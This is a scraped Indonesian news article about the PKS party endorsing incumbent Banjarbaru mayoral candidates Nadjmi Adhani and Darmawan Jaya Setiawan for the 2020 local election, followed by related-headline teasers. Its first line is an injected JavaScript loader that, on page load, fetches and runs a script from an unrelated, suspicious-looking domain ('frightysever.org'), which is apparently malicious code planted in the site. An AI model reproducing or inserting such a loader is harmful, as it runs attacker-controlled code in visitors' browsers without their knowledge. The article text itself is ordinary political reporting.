(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Partai Keadilan Sejahtera (PKS) telah memutuskan pilihan menjatuhkan hati untuk mendukung Bakal Calon Walikota dan Wakil Walikota Banjarbaru, Nadjmi Adhani – Darmawan Jaya Setiawan, dalam kontesasi Pilkada Banjarbaru 2020. Melalui surat keputusan (SK) rekomendasi dukungan yang diterbitkan pada tanggal 20 Januari lalu, PKS resmi merapatkan barisan dalam koalisi partai pengusung pasangan Incumbent tersebut.
Rabu (4/3/2020) sore, berlokasi di Fave Hotel Banjarbaru, PKS menyerahkan surat rekomendasi dukungan tersebut kepada Nadjmi-Jaya. Surat rekomendasi tersebut diserahkan langsung oleh Ketua DPP PKS Wilda Kalimantan, Habib Aboe Bakar Al- Habsy, dihadapan puluhan kader PKS Kota Banjarbaru.
Sebelum diterbitkan hingga dilayangkannya “surat cinta” ini, partai berlambang padi dan bulan sabit tersebut nyatanya telah melakukan berbagai pertimbangan sebelum akhirnya menjatuhkan hati kepada pasangan incumbent. Dikatakan Habib Aboe, salah satu yang paling disoroti yakni survey yang telah dilakukan oleh tim penjaring selama beberapa bulan terakhir.
“Kita telah melakukan survey tersendiri. Kita juga tidak mau hanya sekedar emosional tapi tidak layak jual. PKS ini partai kecil,” katanya.
Ketua DPP PKS Wilda Kalimantan tersebut juga menegaskan bahwa PKS siap berkoalisi dengan partai-partai lain untuk memenangkan pasangan Nadjmi-Jaya di Pilkada Banjarbaru 2020. Menurutnya, salah satu yang menjadi point plus yang dikantongi pasangan incumbent, yakni pengalaman dalam memimpin masyarakat kota Banjarbaru.
“Intinya, kalau PKS sudah memutuskan dukungan, maka seluruh kader dan mesin partai akan berkerja keras untuk memenangkan pasangan Nadjmi-Jaya. Tidak perlu suara banyak, yang penting menang,” pungkasnya.
Perlu diketahui, bahwa pasangan incumbent awalnya telah mendapatkan surat rekomendasi dukungan dari Partai Nasdem, yang memperoleh 4 kursi di legislatif. Sedangkan, dengan merapatnya PKS peraih 2 kursi di barisan partai koalisi, maka pasangan ini telah genap mengantongi 6 kursi sebagai syarat pencalonan di jalur parpol.
Sementara itu, Bakal Calon Walikota Banjarbaru, Nadjmi Adhani mengaku bersyukur dan lega dengan surat rekomendasi dukungan dari PKS yang telah diterimanya.
“Alhamdulillah, lengkap sudah persyaratan enam kursi untuk usungan kepada kami. Kami juga masih menunggu lagi dengan beberapa partai, untuk bergabung sebagai Partai Pendukung,” ungkapnya.
Meskipun sudah lengkap syaratnya di jalur parpol, Nadjmi mengaku masih menunggu SK Rekomendasi dari beberapa partai lain yang selama ini sudah menjalin komunikasi secara intens.
“Insha Allah komunikasi intens kami dengan Golkar, Gerindra dan PKB. Kami tinggal menunggu SK, kami juga tidak ingin bicara duluan. Nanti ketika SK sudah ditangan amalan akan kamu lakukan konsolidasi dan deklarasi. Terkait langkah-langkah apa yang akan dilakukan selanjutnya,” bebernya.
Dirinya juga tidak menampik, sebagai petahana diuntungkan dengan tiga calon yang akan bertarung dalam Pilkada Kota Banjarbaru. “Rumusnya Pasangan Petahana memang menginginkan banyak pasangan yang bertarung, karena akan diuntungkan,”tutupnya. (kanalkalimantan.com/rico).
KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
This website uses cookies.